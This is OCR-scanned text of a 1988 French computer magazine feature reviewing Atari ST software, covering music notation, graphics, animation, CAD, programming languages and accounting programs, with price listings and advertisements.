EZ-Score-Plus ou Masterscore. L'écri- 
ture de la musique nécessite, avant toute 
chose, de choisir un modèle de partition. 
EZ -Score-Plus propose une portée 
(solo), deux portées (piano) ou trois 
portées (piano et vocal ou trio), le titre, 
les paroles, le copyright et même le 
diagramme des accords pour guitare. 
Pro 24 ne propose que deux portées 
mais son logiciel dédié Masterscore 
donne accès aux partitions d'orchestre, 
soit sept porrées visualisées à l'écran. 
Notator permet de travailler avec cinq 
portées. 



L'opération suivante est la sélection 
des clés (fa ou sol) et de leurs armures 
(tonalité majeure ou mineure) ainsi que, 
pour EZ- Score- Plus, celle de la mesure 
(4/4 par défaut ou toute autre) et de la 
valeur du métronome. Notator propose 
toutes les clés (deux clés de sol, quatre 
clés d'or, deux clés de fa). Les notes sont 
placées sur les portées suivant deux 
modes : le mode pas à pas et le mode 
temps réel. En mode pas à pas, on 
dispose de la souris, du clavier du 
micro-ordinateur ou d'un clavier Midi, 
par exemple celui du synthétiseur. En 
mode temps réel, les notes sont directe- 
ment introduites par le jeu du morceau 
sur le davier Midi ou par le chargement 
d'un fichier de notes préalablement 
enregistré avec un séquenceur, 
■ Dans EZ-Score-Plus, les figures de 
notes utilisables vont de la ronde à la 
quintuple croche. Les altérations 
comprennent dièse, bémol, bécarre, 
double dièse, double bémol. Toutes les 
ligures de silence correspondant aux 
valeurs de notes sont « sélectables >. Un 
menu d'ornements offre le choix pour 
l'appoggiature, le gruppetto, le trille, le 
mordant et autres ornements de l'écri- 
ture musicale. Les barres de mesure 



simple, double, de reprise sont recon- 
nues. Les termes de nuance (pianissimo, 
piano.. ..mezzo forte, forte, fortissimo) 
et les signes d'articulation (point d'or- 
gue, pédale, accent...) auront leur place 
sur la partition. 

A tout moment, l'audition de ce qui 
figure sur la portée est possible, soit note 
par note, soit en totalité. La sortie peut 
être le haut-parleur du micro-ordina- 
teur ou un instrument Midi connecté. 
Quand on. entre les notes au davier, une 
indication sonore signale les notes extrê- 
mes utilisables dans la dé précédem- 
ment sélectionnée. Le mode d'entrée 
directe au davier Midi est très pratique 
pour éditer les accords. 

Le programme permet de copier 
certains passages, d'insérer ou de retirer 
des espaces entre les figures musicales, 
de corriger ou d'ajouter des symboles. 
Le gain de temps est appréciable pour 
l'édition des mesures identiques. Sur 
EZ-Score-Plus, un traitement de texte, 
acceptant les fontes GDOS, permet 
d'entrer les paroles de la chanson ou les 
doigrés des notes. Un choix de fontes est 
proposé sur Notator. La partition réali- 
sée est sauvegardée dans un fichier. 
L'impression ne pose pas de problème 
particulier ; de nombreuses impriman- 
tes ont prévu un driver, seule diffère la 
qualité d'impression, excellente avec 
EZ-Score-Plus, ordinaire avec Pro 24. 

Une autre application de l'éditeur de 
partition est l'initiation au solfège et à 
l'écriture musicale puisqu'il est possible 
d'entendre à tout moment les notes 
placées sur une portée. A l'instar des 
logiciels bureautiques, les logiciels mu- 
sicaux ont tendance à intégrer dans un 
seul logiciel le gestionnaire des sons, le 
séquenceur et l'éditeur de partirions. 
Avec cette formule, on ne peut au- 
jourd'hui obtenir pour chacune des 
fonctions les performances désirées. La 
solution de logiciels dédiés semble donc 
préférable. 11 suffit en effet qu'ils échan- 
gent leurs fichiers de données. Une 
norme est d'ailleurs à l'étude sous le 
nom de Midi-Files. 
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LES OUTILS 
DES ARTISTES 



La palette des logiciels graphiques disponibles offre sans cesse 

aux infographistes de nouveaux outils. 

Les plus récents d'entre eux dépassent les capacités 

théoriques de la machine. Un point faible cependant, face 

au Macintosh : le dessin vectorisé. 



Les logiciels de dessins bit map 
(dessins sur une matrice de points 
égale à la tésolution de l'écran) sont 
désotmais très nombreux. En couleur, 
les classiques restent toujours compéti- 
tifs : Néochrome pour sa simplicité (la 
version 1.0 distribuée par Atari France 
compte une nouvelle fonction d'anima- 
tion et une fonction lasso), Degas Elite 
qui s'est imposé comme le standard, 
puis une kyrielle de nouveaux concur- 
rents tels An Studio, Art Scribe ou ZZ- 
Rough, tous dotés de possibilités origi- 
nales. Cependant, seules 16 couleurs 
choisies parmi 512 sont affichables 
simultanément du fait de la conception 
deGem. 



Alors que l'on attendait une exten- 
sion de ce chiffre grâce à l'adjonction 
d'une quelconque carte, il a été dépassé 
par certains logiciels qui affichent jus- 
qu'à 48 couleurs par ligne. Ils sont pour 
l'instant au nombre de trois : GFA 
Artist, Quantum et Spectmm (tous 
trois ayant déjà fait l'objet d'un article 
dans le précédent numéro de L 'CX). 

C'est sans nul doute Spectrum qui 
possède la gestion des couleurs (5 12) la 
plus simple et l'ergonomie la meilleure. 
Il est le seul logiciel du marché qui 
garde tous ses outils actifs en mode 
loupe. Une loupe par ailleurs remar- 
quable de précision. Artist ne démérite 
pas : outre la gestion d'une palette très 
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large (512 couleurs), il est capable de 
créer des animations, le tout pour un 
prix très raisonnable. Quantum, en 
revanche, est à déconseilla pour sa 
lenteur et son manque de maniabilité. 

Les logiciels d'animation sont de plus 
en plus nombreux et performants. Cad 
3D, le premier logiciel de 3D disponi- 
ble, a été entièrement tefondu pour la 



version 2.0. Ce n'est pas à proprement 
parler un logiciel d'animation, mais le 
premier maillon d'une chaîne de pro- 
duits très puissants édités par Antic. 
Tout d'abord Cyberpaint, qui rend la 
création d'un dessin animé d'une sim- 
plicité jamais atteinte sur ST, puisqu'il 
peut calcula le déplacement d'une por- 
tion d'image (lutin ou sprice) avec un 




ZZ-Rough Ici-contre) est un produit original, complémentaire des outils classiques. 
Spectrum (ci-dessus) est le logiciel le plus représentatif de h nouvelle génération, 



cheminement et un effet détaminés : 
cela dispense du fastidieux travail image 
par image. Viennent ensuite nombre 
d'auttes logiciels dont le nom 
commence pat < Cybet >. Cybermate, 
un langage de programmation d'ani- 
mation apparenté au Forth, Cyberstu- 
dio, Cybacontrol... Musique, 3D, re- 
lief, rien ne manque. 

Toutefois, un logiciel allemand, 
Imagic, pourrait s'avéra en un seul 
produit un concurrent redoutable. Ima- 
gic, d'Applications Systems Heidelberg, 
élabore des animations allant jusqu'à 
cinquante images à la seconde, les 
compile en applications transparentes 
pour l'utilisateur ou encore affiche une 
même image sur 256 écrans. Le logiciel 
devrait être disponible en France pour la 
rentrée. 

Le dessin monochrome n'est cepen- 
dant pas négligé. Stad, également 
d'Applications Systems Heidelbag, est 
assurément le plus impressionnant. Il 
marie 2D et 3D, une vitesse d'exécu- 
tion optimisée (surtout en rotation 3D), 
une agonomie très développée, des 
possibilités de déformations puissantes 
et une foule de fonctions difficiles à 
mentionner de façon exhaustive : entre 
autres, gestion des modes logiques de 
dessin (or, xor, and), génération de code 
assembleur, faces cachées, interface- 
scanna. Stad 1.2 dispose du pilote de 
l'imprimante laser Atari, de pilotes pour 
de nombreuses imprimantes, tables tra- 
çantes et tablettes graphiques a d'une 
fonction de défilement d'écrans. Il gère 
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Animatic 

fdi'retzr.'Loriciels 

P/isr:245Fht 

Service-lecteurs, référence rf 77 

Aegis Animator 
Editeur : At^s 
Prix: 490 ¥ ht 

Service-lecteurs, référencen" 78 

Art Studio 
Editeur :~Rahhkd 
Prix: 245 ¥ ht 
Service-lecteurs, référencen" 79 



Art Scribe 

Editeur : Magista Software 

Prix: 210 Fht 

Service-lecteurs, référence rf 80 

Cyberpaint 

Editeur: Antic 
fîBr;550Fht 



EasyDraw 

Editeur : Migraph inc. 
fiix:355Fht 

Seri-fce-leacurs, référence : 
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Eéceur : Batteries Included 
Prix: 582 F ht 

Scrvicc-icacurs, référence ri" 82 



GFA Artist 

Editeur : Micro Application 
Prix :4187ht 

Senrce-lecrrtirs. référence n'' 84 

GFA Movie 

Editeur : Micro Application 
Prix ;418Fht 
Service-lecteurs, référence n" 85 



Spectrum 

Editeur : Upgrade éditions 

Prix: 500 F ht 

Service- lecteurs, référence n° S6 

Quantum 

ix&rajr.'Eidersort 
ftix;210Fht 

Sema-lecteurs, référence n" 87 

Stad 

Editeur : Applications 

Systems Heidelberg.ftiï : 506 F ht 

Service-lecteurs, référence rf 88 




jusqu'à 99 pages sur un Mega 4. 
Hormis un très bon logiciel du domaine 
public, Public Painter qui s'inspire de 
MacPaint, Stad n'a d'ailleurs pas de 
concurrent (sinon Degas Elite en haute 
résolution). 

Il reste le dessin vectoriel. La vectori- 
sadon des dessins permet d'échapper à 
la contrainte imposée par la définition 
toujours trop basse des écrans. Dans ce 
domaine, le Macintosh a créé l'événe- 
ment avec Cricket Draw, Illustrator ou 
Freehand. L'offre Atari est limitée dans 
ce domaine des logiciels < artistiques > 
vectoriels. Le ST ne compte pour l'ins- 
tant qu'EasyDraw 2, associé à Super- 



chargeur, GemDraw de Digital Re- 
search n'ayant jamais été officiellement 
disponible. 

EasyDtaw travaille en mode 
< objets >, c'est-à-dire qu'il reprend, 
déplace ou déforme par exemple un 
cercle précédemment tracé, mais ne 
possède pas de véritables courbes de 
Bézier ni de possibilité de projections 
autre que la rotation. Grâce à Super- 
chargeur, EasyDraw 2 peut charger des 
images bit map et donc utiliser éven- 
tuellement une pseudo-fonction calque 
pour les vectoriser. Le problème est que 
les images bit map ne sont pas grisées 
comme sur Illustrator, ce qui rend le 



travail de décalque difficile. EasyDraw 
est néanmoins, comme son nom l'indi- 
que, un produit facile à utiliset et 
agréable d'emploi. 

Finalement, c'est avec un logiciel de 
micro-édition que le premier système de 
dessin vectoriel avec courbes de Bézier 
sera disponible sur l'Atari ST. En effet, 
Calamus, déjà distribué en Allemagne, 
comprend à peu près tout ce qui est 
nécessaire à la PAO : traitement de 
texte, logiciel de dessin, pilotage d'un 
scanner, éditeur de polices en un même 
programme, bref, c'est le premier inté- 
gré du genre. 

ÉRICSEBAG 



L'ATARI S'ANIME 



La création d'images graphiques n'est plus vaine. De nouveaux produits 
les récupèrent pour réaliser un journal cyclique ou pour habiller un film vidéo. 



Les nouveaux outils graphiques font 
accéder le ST à un niveau de 
performance acceptable pour certains 
projets professionnels. Mais la réalisa- 
tion de « belles images » ne suffit pas en 
soi. Encore faut-il les exploiter. Avec 
Imagic, un créateur réalisera des anima- 
tions de courte durée, tournanr éven- 
tuellement en boucle. D'autres produits 



GENLOCK-INCRUSTATION 



Editeur et distributeur : Octet d'Azur 
Prix : 1 2 000 F hr (version Pro) et 
environ 3 000 F (version grand public) 
St.ïricé'ItLrci.ir.'i. référence rf 89 



Editeur et distributeur : DB Logiciel. Il 
existe en trois versions pour 520 ST 
(13 écrans maximum), 1040 ST 
(40 écrans maximum) et 1040 ST avec 
disque dur (300 écrans maximum). 
Prix respectifs : 1 3 200 F ht, 
15 200 F ht et 20 200 F ht, matériel 
compris. 

Sinice-Iecrturs. rdàri-nœifpO 



existent pour utiliser efficacement l'en- 
".■■ logé ms de création graphi- 
que. Parmi eux, Genlock-incrustation 
et Animédia. 

Genlock-incrustation est le premiet 
Genlock disponible sur Atari. Par l'in- 
termédiaire d'un logiciel et d'une inter- 
face matérielle, il marie les mondes de la 
vidéo et de l'informatique. Son utilisa- 
tion est simple. On écrit ou dessine en 
surimpression sur une image ou un film 
vidéo. Génériques de film, habillages, 
petits trucages deviennent faciles et d'un 
coût très faible. Le logiciel comporte des 
fonctions de base comme le défilement 
automatique horizontal ou vertical, 
pour réaliser immédiatement des géné- 
riques. Genlock-incrustation accepte les 
fichiers de tous les logiciels graphiques 
habituels. La version grand public le 
destine à tous les utilisateurs de caméras 
vidéo. La version professionnelle, qui 
offre le choix de la couleur d'incrusta- 
tion, le passage de l'image vidéo devant 
l'image numérique et la vidéo sur vidéo 
et plusieurs entrées Pal-Secam et RVB, 



s'adresse surtout aux nombreuses socié- 
tés de production de films vidéo desti- 
nés de plus en plus aux grandes entre- 
prises pour leur communication interne 
et externe. 

Animédia est un produit plus ancien 
qui teste trop méconnu. Le principe est 
de faire défiler automatiquement et en 
boucle une série d'écrans. Il est destiné 
par exemple à des commerçants dési- 
reux d'animer intelligemment leur ma- 
gasin. Chaque écran comprend deux 
parties, l'une réservée à un texte infor- 
marif, l'autre à l'image, créée avec un 
logiciel graphique ou numérisée. L'utili- 
sateur rédige ses textes, choisit la présen- 
tation (type de lettres, motifs de fond, 
position sur la fiche) en manipulant la 
souris et organise lui-même un journal 
cyclique. Des effets spéciaux sur images 
sont préprogrammés. DB Logiciel, édi- 
teur d 'Animédia, numérise et retouche 
des photos pour un prix très intéressant 
et conçoit des écrans à partir de simples 
esquisses. 

PATRICE DESMEDT 
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Excel Tome 2 - Graphique, 



Guide Microsoft de MS-DOS 
f 3.1 Ô3.3 
par lî. Duncan 
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BON DE COMMANDE (à àécouperou à recopier) 

Envoyez ce bon accompagne de votre règlement à 
PCV Diffusion - BP 86 - 774D2 Lagny-sur-Mame 
Cedex, 
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Consultez tous nos livres et points de vente 
sur Minitel, au 361 5, tapez OI*UV. 
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CAO: 
LES BONS PLANS DU ST 



Grâce à sa haute définition monochrome, le ST a vu 

les logiciels de dessin technique se multiplier. Certains, très bon 

marché, trouvent place chez les particuliers. 

Mais l'offre haut de gamme s étoffe avec des produits 

destinés à une utilisation purement professionnelle. 

A côté des logiciels traditionnels de 
dessin, il existe des utilitaires de 
conception gtaphique professionnels. 
Ces logiciels, dédiés aux architectes, 
designers, créateurs d'objets et dessina- 
teurs industriels, fonctionnent pour la 
plupart de manière vectorielle, en 2D 
ou 3D. La haute résolution graphique 
de l'Atari a vite attiré les programmeurs 
dans le domaine de la CAO/DAO. 

Cad-3D fut le premier logiciel porté 
sur Atari, et il rencontra un succès 
rapide. Il offre la possibilité de définir 
des formes en 3D, de les orienter, de les 
agrandir, de les stocker, de les colorier, 
de les éclairer, etc., comme sur une 
palette professionnelle, la définition 
d'écran en moins. La voie était tracée, 
un flot de programmes de DAO allait 
envahir les écrans des Atari. Cad-3D 
version 2 (également connu sous le nom 
de Cyberstudio) apporta des modifica- 
tions au premier programme, notam- 
ment pour l'animation et l'emploi des 
couleurs. Il est devenu la référence en 



matière d'animation 3D en couleurs. 

Dimension 3 de Loridels offre des 
qualités similaires à la première version 
de Cad-3D pour un prix très attractif 
(330 F ht). Malheureusement, ce logi- 
ciel pose encore un certain nombre de 
problèmes qui devraient être résolus 
dans la prochaine version 2 . 

GFA-Raytrace est un tout nouveau 
programme présenté lors du dernier 
Cebit de Hanovre. Il pourrait bien 
détrôner Cad-3D. Son éditeur d'objets 
dessine des formes, place un horizon et 
des sources lumineuses. Le calcul de 
l'image est vraiment très long, mais le 
résultat est spectaculaire. Le tout est 
récupérable en GFA Basic pour une 
éventuelle animation. 

Le logiciel d'architecture Arkey est 
tout à fait compétitif. Cependant, la 
représentation 3D, de surcroît en mou- 
vement, n'est pas le pain quotidien des 
professionnels du dessin industriel. En 
revanche, un logiciel en 2D qui dessine 
des plans en offrant le maximum de 




ZZ-2D, un 
bon produit 



fonctions devtait convaincre plus d'un 
bureau d'étude. 

EMS Schéma Industriel de la société 
EMS existe en deux versions. Une 
version grand public (450 F) et une 
version destinée aux bureaux d'étude 
(15 000 F). Cette dernière travaille 
dans une multitude de formats, pilote 
une table traçante, et bien entendu 
définit des caractères, des pointes, des 
éléments, des cotations, etc. 

Human Technology a présenté ré- 
cemment ZZ-2D, adaptation française 
de Campus Cad, produit aux fonctions 
multiples, et capable de pilotet une 
table traçante, du format AO au format 
A5 . Changement de plumes et de traits, 
symboles, effacements sélectifs, menus 
faciles d'emploi, morvements, rota- 
tions, copies, organisation de la feuille 
de travail, minilangage de redéfinition 
des touches... ZZ-2D s'est imposé 
comme le programme de CAO au 
meilleur rappott qualité/prix 
(3 450 F ht). Une version 1.3 devrait 
venir l'enrichir, 

THIERRY PLATON 



Cad-3D 
£c#reur;Antic. 

/te:380Fht(versionl)et 582Fht 
(version 2). 

Service- lecteurs, référence n" 9 1 

Dimension 3 
Eéœur:Lonàés. 
Prix: 330Fht, 

Scnïœ-Icucurs. référence a" 92 

GFA-Raytrace 

Editeur: Micro application. 
Prix :420Fhz. 

Scn :Œ-k-LieLiK. référence n" 93 

EMS Schéma industriel 
Editeur: EMS. 

Prix : 400 F ht (version grand public) et 
15 000 F ht (version professionnelle). 

Sen-ice-lecreurs. référence n" '94 

ZZ-2D 

Editeur : Human Software. 
Prix :5 4507ht 

Service- îecreuK. référence n° 95 
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DEVELOPPEZ ! 

Dès son lancement, l'Atari ST séduisait les développeurs. 

Son infrastructure, qui s'inspire à la fois du 
MS-DOS de l'IBM PC et du aider du Macintosh, propose 

un compromis judicieux alliant la rigueur de l'un à 

la convivialité de l'autre. Pour l'heure, le ST offre des outils 

de développement très complets, 

parfois même uniques. 



LES BASIC: 

LA GÉNÉRATION TURBO 

Le Basic est le passage obligé pour les 
micro-ordinateurs à vocation grand pu- 
blic. De ce point de vue, l'Atari est 
largement pourvu. Son premier Basic, 
conçu par Digital Research et distribué 
par Atari, était très médiocre. D vient 
heureusement d'être rénové : bogues 
corrigées, nouvelles instructions. Il de- 
meure cependant assez lent et se trouve 
désormais supplanté par une nouvelle 
génération de produits très tapides. Le 
ST Basic reste un bon produit d'initia- 
tion, et un compilateur édité par LDW 
permettra de produire des applications 
réellement utilisables. 

Outre leur vitesse (ils sont aussi 
tapides voire plus encore que certains 
C), les nouveaux Basic se caractérisent 
par une maîtrise des possibilités de Gem 
excellente et accessible. Fast, Omikron 
ou GFA Basic font tous usage de la 
ptogtammarion structurée sans numé- 
ros de lignes (ou en option) et sont 
associés à des compilateurs performants. 

Le Fast Basic de Computer Concept 
s'est imposé en Angleterre alors que 
l'Omikron semble dominer en Allema- 
gne et le GFA en France. Le Fast Basic 
est le-plus convivial (le seul à posséda 
un éditeur sous Gem), compile des 
accessoires (programmes résidents en 
mémoire), comprend un assembleur 
mais reste le plus lent des trois. 

A l'opposé, l'Omikron, distribué en 
France par Double A, est le plus rapide 
(en exécution comme en compilation), 
il est compatible à 99% avec le Basic 



Microsoft, permet la création d'accessoi- 
res et génère un code d'une compacité 
record. Mais la version française est 
encore mal documentée, et les program- 
mes de démonstration sont commentés 
en allemand. 

A l'inverse, le GFA Basic est, en 
France, le langage de loin le mieux 
explicité, d'abotd par son éditeur 
(Micro Application), ensuite par la 
presse spécialisée qui lui dédie ses lis- 
tings. Cela sans compter l'abondance 
d'utilitaires de développement et autres 
bibliothèques de fonctions. Le GFA 
Basic a déjà donné naissance à des 
produits d'envergure commerciale 
comme ZZ-Rough, un logiciel de 
DAO (Human Software) ou Compta 
III de Jaguar. La version 3-0 du GFA, 
attendue pour la rentrée, devrait lui 
permettre de combler son retard par 
rapport à l'Omikron. Ce dernier, de son 
côté, prépare une moulinette pour récu- 
pét er les programmes écrits en GFA. 

En marge de ces produits, il faut citet 
deux Basic verticaux. Le Basic Memsoft 
orienté gestion, mais qui néglige l'inter- 
face Gem, et le très performant Stos 
Basic édité par Cédic Nathan spécialisé 
dans l'animation et la création de jeux 
vidéo. Tous ces Basic coûtent moins de 
1 000 F (les Basic Memsoft et ST Basic 
sont fournis avec les machines). 

LANGAGES C: 

L'ACCORD PARFAIT AVEC GEM 

Le langage de prédilection des déve- 
loppeurs professionnels teste le langage 
C avec lequel Gem a été développé et 




donc très bien interface. Si l'Alcyon, 
distribué avec le système de développe- 
ment Atari, est assez lourd à manipuler, 
il demeure la réfétence de bien des 
sources. Parmi les concurrents disponi- 
bles, le Mark Williams C semble s'im- 
poser comme le plus complet, le Lattice 
de Metacomco comme le plus portable 
(même si la légendaire portabilité du C 
est un mythe à bien des égatds), enfin le 
Megamax comme le plus rapide à la 
compilation. 

En revanche, plusieurs nouveaux 
venus devraient bouleverser ce palma- 
rès : le Becker C de Micro Application 
qui annonce un rapport prix/puissance 
exceptionnel (495 F ttc), l'Aztec C qui 
contestera à Megamax la médaille de 
viresse à moins que ce ne soit le déjà 
célèbre Turbo-C de Borland, qui s'est 
décidé à reconnaître l'intérêt du ST. 

En attendant ces nouveautés, c'est 
Lonciels qui a créé l'événement dans le 
domaine en développant la première 



implémentation de ce langage sous 
fotme interprétée. La version 1.1 
comble désormais les principales lacu- 
nes de son aînée (par exemple les 
fonctions « typedef > ou « include » qui 
faisaient cruellement défaut ainsi que la 
compatibilité Ansi). 

L'interpréteur C est désotmais un 
outil de développement unique et d'un 
confort incompatable. Son prix, 
390 F ttc, est tout aussi remarquable. 
Une version ultérieure (2.0) déviait lui 
assura la compatibilité totale avec un 
compilateur, probablement Lattice. 

Pour clore le chapitre sur C, on ne 
saurait omerrre le Mark Johnson, un 
compilateur du domaine public qui 
conviendra à une bonne initiation. 

PASCAL ET MODULA: 
ENCORE CONFIDENTIELS 

Le Pascal ne fait pas autant de bruit 
sur Arari que sur certaines aurres machi- 
nes. Il compte pourranr le très perfor- 



mant compilateur OSS et plusieurs 
concurrents beaucoup plus loutds 
d'usage : Meracomco, Prospéra et 
Pecan. Mais encore une fois, le Turbo- 
Pascal arrive... En attendant, les versions 
interprétées de langages compilés sont 
décidément en vogue sur ST puisque 
Looking Glass Software propose Alice, 
un interpréteur Pascal qui est une véri- 
table merveille. En effet, Alice est un 
puissant outil de mise au point de 
programmes, il gère entièrement Gem 
et, de plus, récupère les programmes 
écrits pour Turbo-Pascal. 

En dépit des préventions de Niklaus 
Wirth, concepteur de Pascal et de Mo- 
dula II, son derniet langage ne semble 
pas s'imposer en micro. Sur Atari, deux 
implémentarions sont disponibles ; 
l'une de TDI, jadis distribuée par Micro 
Application, et l'autre de Megamax, 
prochainement diffusée en France par 
Application Systems Paris qui propose 
en attendant, comme démonstration, 

L'ORDINATEURINCIVIDUELN°104/JU1N1988 






Alice, un interpréteur 

Pascal, outil de mise 

au point de 

programmes. 



un époustouflanr casse-briques, Bolo, 
développé avec ce compilateur. Il est 
impossible d'accorder ici à chaque lan- 
gage la place qu'il mérite, mais il faut 
indiquer qu'à l'heure actuelle, tous les 
langages des micro-ordinateurs sont im- 
plémentés sur ST : Cobol, Fortran, 
Forth, LSE et autres APL (seul Ada 
développé en France n 'est pas achevé) . 

L'intelligence artificielle occupe elle 
aussi une place de choix. Lisp existe en 
domaine public (X-Lisp). Pour utiliser 
Gem, il faut cependant avoir recours au 
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L'Atari du futur se décline avec le 
Transputer. Atari devrait proposer un 
système d'exploitation développé par 
Inmos (concepteur du Transputer), 
Hélios, et un environnement graphique 
apparenté à Gem du nom de X- 
Windows. Compilateur C et assem- 
bleur à jeu d'instructions limité seraient 
aussi immédiatement disponibles. Mais 
c'est tout naturellement Occam, le lan- 
gage conçu pour la programmation 
parallèle qui est le plus intéressant pour 
les Transputer. A cet égard, Kuma 
Software propose déjà un interpréteur 
pour tester les programmes Occam sur 
un simple ST, et K-Cascade, un compi- 
lateur pour ses propres boîtiers Trans- 
puter. 



Cambridge Lisp de Metacomco ou au 
tout nouveau I-Lîsp d'Inférences qui est 
le plus accessible. Mais il n'existe pas 
encore de compilateur ; le Metacomco, 
contrairement à certaines tumeurs, ne 
compile que des fonctions en mémoire. 
En revanche, Inférences préparerait un 
générateur de code C pour le I-Iisp. 
Cette même société propose un Prolog 
et un générateur de systèmes experts : le 
Spécialiste. 

LES SYSTÈMES DE 
DÉVELOPPEMENT 
POUR SGBD 

DBase a transformé les utilisateurs 
de bases de données en véritables pro- 
grammeurs. Sur Atari, les systèmes de 
développement pour bases de données 
ont tardé à apparaître. dBman, l'ancê- 
tre, un clone de dBase, avait pour 
inconvénient d'ignorer Gem (ce n'esr 
plus le cas), et d'être réfractaire aux 
accents français (c'est toujours le cas). 

Depuis quelques mois, le ST possède 
avec Superbase Pro un véritable outil de 
développement qui tient compte de la 
puissance du 68000 et de Gem. Son 
éditeur de masques permet de créer 
graphiquement des programmes qui 
éditeront éventuellement des rapports 
superbement mis en pages. Le langage 
de développement, pour sa part, s'ap- 
parente au Basic, ce qui peut sembler 



judicieux avec le regain d'intérêt pour 
les Basic mais retardataire face à SQL. 
Mao Application devrait rapidement 
proposer un runtime et un compilateur. 
Adimens et Aditalk d'Atari Allemagne 
sont les seuls produits équivalents, mais 
ne sont pas importés en France (le 
; Aditalk s'inspire fortement de 



Avec une telle panoplie, nul doute 
que l'avenir de l'Atari sera riche en 
développements de toutes sortes. 

ÉRICSEBAG 



r TOUJOURS 
L'ASSEMBLEUR. 



En dépit de la puissance du 68000, 
le C ou les superBasic ne conviennent 
pas toujours à certains développements 
qui tequièrent une grande vitesse d'exé- 
cution, d'où le recours à l'assembleur 
pour des applications graphiques ou de 
bureautique. 

Il est à noter que les logiciels Signum 
et Le Rédacteur sont principalement 
écrits en assembleur. 

Quatre compilateurs dominent le 
marché : Profimat édité par Micro 
Application esr le plus simple à mettre 
en œuvre et offre des possibilités de 
structuration inédites, mais Devpac de 
Hisoft, le GST macro-assembleur et le 
produit de Metacomco sont néanmoins 
d'excellente facture. 



SUIVEZ VOS CLIENTS 




SUIVICLIENT 

Remplacez votre fichier carton par un fichier électronique. 

Gardez l'historique de vos rendez-vous, téléphones, devis, courriers, etc. 

Pour vos promotions, éditez un mailing, ou des étiquettes 

en sélectionnant un département, une région ou/et un type de client. 

Avec SUIVICLIENT, n'oubliez personne. 
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CARACTÉRISTIQUES : 

• Tri alphabétique 

• Tri par dates de relance 
.4 niveaux d'intérêt 

• 8 indicateurs d'activité 

• 1 indicateur type de fiche (client, h 

• 1 indicateur activité principale 
.32000 fiches possibles 

• 100 lignes d'historique en moyenne 

• Mailing (courrier répétitif] 

• Edition d'étiquettes avec indicatior 



CELEC AERO Editeur 



LEST CHEZ 
LES COMPTABLES 



Atari ne pouvait ignorer le marché de la gestion/comptabilité, 

tout à fait adapté au ST. L'offre maison 

est réalisée avec Memsoft, l'une des valeurs sûres du 

secteur. Mais d'autres produits 

avancent également des arguments de poids. 



Comme toute bonne machine, 
l'Atari se devait de compléter son 
offre matérielle par des outils permet- 
tant d'en tirer parti. Ix choix s'est fait 
autour de la solution de gestion Mem- 
soft qui comprend comptabilité, paie, 
gestion de stocks/facturation. Bien que 
n'appartenant pas à l'environnement 
Gem, le Memsort/Memdos est en lui- 
même tout à fait intéressant. Ecrit en C 
et porté depuis l'IBM grâce à un grand 
respect des normes, il est un très puis- 
sant gestionnaire de fichiers, caractérisé 
par une multi-indexation, un gestion- 
naite de masque avec dictionnaire 
complet intégré et des instructions puis- 
santes, intelligemment conçues. 

Si le Memsoft a découragé beaucoup 
de développeurs, c'est patce que sa 
puissance exige un investissement en 
temps important. Hyperstructuré, c'est 
un excellent langage. Par ailleurs, il a 
imposé à ses concepteurs des nonnes de 
programmation qui se retrouvent sur 
l'ensemble des produits. Ces normes 
facilitent la prise en main lors du 
passage d'un produit à l'autre. C'est 
l'une des taisons qui rendent séduisante 
cette solution de gestion vendue 
5 970 F ht (1 990 F chaque module) 
et qui fonctionne aussi bien sur 
1040 ST que sur Mega ST2 et ST4. Le 
Memsoft est un outil de spécialiste. 

LES MODULES MEMSOFT : 
UNE REMARQUABLE 
HOMOGÉNÉITÉ 

Passés au moule, mais gardant cha- 
cun leur personnalité, les produits de cet 



ensemble se complètent assez bien. 
Conçus de façon professionnelle, ils 
intègrent les astuces et facilités qui 
rendent un produit agréable, avec des 
options de sauvegarde automatique, 
des modes d'emploi intégtés et circons- 
tanciés, des démonstrations automati- 
ques, etc. La gestion des commandes est 
couplée à celle des stocks, ainsi qu'à une 
gestion des règlements. Elle autorise la 
facturation immédiate des bons de 
commande. 

L'utilisateur peut consulter à tout 
moment les coûts d'achat et de vente 
sur le mois en cours, le mois précédent 
et l'année. L'essentiel des choix est 
paramétré. Des tableaux statistiques 
donnent de multiples indications à l'in- 
tention du gestionnaire. Les seuils criti- 
ques du stock sont pris en compte. Les 
factures, quant à elles, sont liées si on le 
désire à un code vendeur ou représen- 
tant. Dans ce cas, les chiffres d'affaires 
par vendeur sont disponibles. Il existe 
par ailleurs un module < liaison > vendu 
990 F, qui rapproche la facturation de 
la comptabilité en créant un fichier 
mouvements, 

La paie offre de nombreux paramé- 
trages. Chaque fiche peut comporter 
250 lubriques, et la paie gère 
90 catégories de salariés. Elle génère les 
états de charges sociales, mais ne peut 
être liée à la comptabilité. Cette dernière 
est multisociété, autorise 32 000 écritu- 
res annuelles (par société) et 999 jour- 
naux. Elle petmet le calcul des soldes 
des masses comptables, avec sélection 
des comptes et édition instantanée des 



: 





balances, livres et journaux comptables. 
Autre point important, les manuels sont 
particulièrement clairs avec, comme il 
est de tradition chez Memsoft, de nom- 
breux extraits d'écrans. Ces produits ne 
devraient décevoir personne. 

COMPTA ST3 DU JAGUAR : 
RAPIDE ET SIMPLE 

Les utilisateurs qui désitent une 
comptabilité simple mais efficace peu- 
vent se toumet vers la comptabilité du 
Jaguar. Bien que son mode d'emploi 
soit légèrement incomplet et unique- 
ment présenté sous forme de fichiers, le 
produit possède des avantages certains 
au niveau de la simplicité d'emploi et 
des astuces pour accélérer le ttaitement 
de la saisie. Le système de brouillard 
modifiable choisi par les concepteurs est 
intéfessant, de même que l'appel d'un 



compte par son libellé, le plan compta- 
ble fourni avec le logiciel, etc. En 
revanche, le logiciel est relativement 
fermé sur lui-même. Il présuppose une 
imprimante compatible Epson et rien 
d'autre. Il ne prévoit ni analyse de ratios 
ni exportations des données vers un 
tableur. La Compta Jaguar brille néan- 
moins par sa simplicité d'utilisation, qui 
fait pardonner le reste, tant que l'acqué- 
reur demeure une petite société. 

Citons aussi Progicompta de Proge- 
cia (2 065 F ht), qui offre brouillards, 
contreparties automatiques sur de- 
mande en journaux de trésoterie, jour- 
naux à centralisation et lettrage. Les 
comptabilités analytique et budgétaite, 
bilan, comptes de résultats et imprimés 
fiscaux sont en option, ainsi qu'un 
programme de paie. 

JACQUES DE SCHRTVER 



COMPTA \i .: 



Fonctions : comptabilité générale, 
facturation /stock, paie 
Éditeur et distributeur : Memsoft 
Prix : I 990 F ht chaque module. 
Solution gestion Atari/Memsoft avec 
MegaST2,disquedur20Moet 
services complémentaires : 19 950 F ht 

5t ri m'- /(-(.«■/; ci. référence n" 96 



